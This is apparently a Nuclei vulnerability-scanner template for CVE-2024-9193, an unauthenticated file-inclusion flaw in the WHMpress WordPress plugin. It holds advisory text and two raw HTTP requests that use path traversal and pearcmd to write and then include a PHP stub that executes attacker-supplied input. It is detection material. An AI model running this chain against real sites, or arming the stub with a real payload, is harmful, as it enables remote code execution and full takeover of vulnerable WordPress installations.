id: CVE-2024-9193

info:
  name: WHMpress <= 6.3-revision-0 - Unauthenticated Local File Inclusion to Arbitrary Options Update
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The WHMpress - WHMCS WordPress Integration Plugin plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 6.3-revision-0 via the whmpress_domain_search_ajax_extended_results() function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. Utilizing the /admin/services.php file, this can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.
  impact: |
    Unauthenticated attackers can leverage local file inclusion to execute arbitrary PHP code and manipulate WordPress options, enabling them to set the default registration role to administrator and gain complete site control without authentication.
  remediation: |
    Update WHMpress plugin to a version later than 6.3-revision-0 that addresses the local file inclusion vulnerability in the whmpress_domain_search_ajax_extended_results function and implements proper input validation.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/academist-membership/academist-membership-116-authentication-bypass-via-account-takeover
    - https://whmpress.com/docs/change-log/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/5f3b0e75-d2f0-48b7-ba33-75c4e998030e?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9193
    cwe-id: CWE-98
    epss-score: 0.16052
    epss-percentile: 0.94875
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2024,whmpress,whmcs,wordpress,wp,intrusive,vkev,vuln

variables:
  randomstr: "{{randstr_1}}"
  marker: "{{base64(randomstr)}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?+config-create+/&/<?=base64_decode($_GET[0])?>+/tmp/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=whmpress_action&do=whmpress_domain_search_ajax_extended_results&page_size=1&is_title=no&params[style]=../../../../../../../../../../../usr/local/lib/php/pearcmd&

      - |
        POST /wp-admin/admin-ajax.php?0={{marker}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=whmpress_action&do=whmpress_domain_search_ajax_extended_results&page_size=1&is_title=no&params[style]=../../../../../../../../../../../tmp/{{randstr}}&

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_1,"whmpress_action","CHANNEL PEAR.PHP.NET")'
          - 'contains_all(body_2, "{{randomstr}}", "PEAR_Config")'
        condition: and
# digest: 490a0046304402201b2971895f12733eded4a7f2cd6ffc17d6835334ad4b4cae793ace96ecaa73c202202759f7bb11501b671df541842af4c9ed36fc35110c1482f6fe30c25226603f71:922c64590222798bb761d5b6d8e72950